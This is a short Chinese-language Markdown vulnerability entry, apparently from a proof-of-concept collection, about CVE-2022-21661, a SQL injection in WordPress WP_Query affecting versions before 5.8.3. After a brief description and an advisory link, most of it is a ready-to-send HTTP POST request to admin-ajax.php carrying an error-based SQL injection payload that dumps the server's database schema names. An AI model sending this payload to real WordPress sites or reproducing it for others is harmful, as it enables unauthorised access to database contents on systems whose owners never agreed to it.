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36 lines
1.1 KiB
Markdown
36 lines
1.1 KiB
Markdown
# WordPress WP_Query SQL 注入漏洞 CVE-2022-21661
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## 漏洞描述
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`WordPress`是一个用`PHP`编写的免费开源内容管理系统，由于`clean_query`函数的校验不当，导致了可能通过插件或主题以某种方式从而触发`SQL`注入的情况。这已经在`WordPress5.8.3`中进行了修复。影响版本可以追溯到`3.7.37`。
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参考链接：
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- https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-6676-cqfm-gw84
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## 漏洞影响
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```
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WordPress < 5.8.3
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```
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## 漏洞POC
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获取数据库名：
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```
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POST /wp-admin/admin-ajax.php HTTP/1.1
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Host:
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User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.0.0 Safari/537.36
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Accept: */*
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Accept-Encoding: gzip, deflate
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Accept-Language: zh-CN,zh;q=0.9
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Connection: close
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Content-Type: application/x-www-form-urlencoded
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Content-Length: 130
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action=test&data={"tax_query":[{"field":"term_taxonomy_id","terms":["1) and extractvalue(rand(),concat(0x5e,(select group_concat(schema_name) from information_schema.SCHEMATA)))#"]}]}
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```
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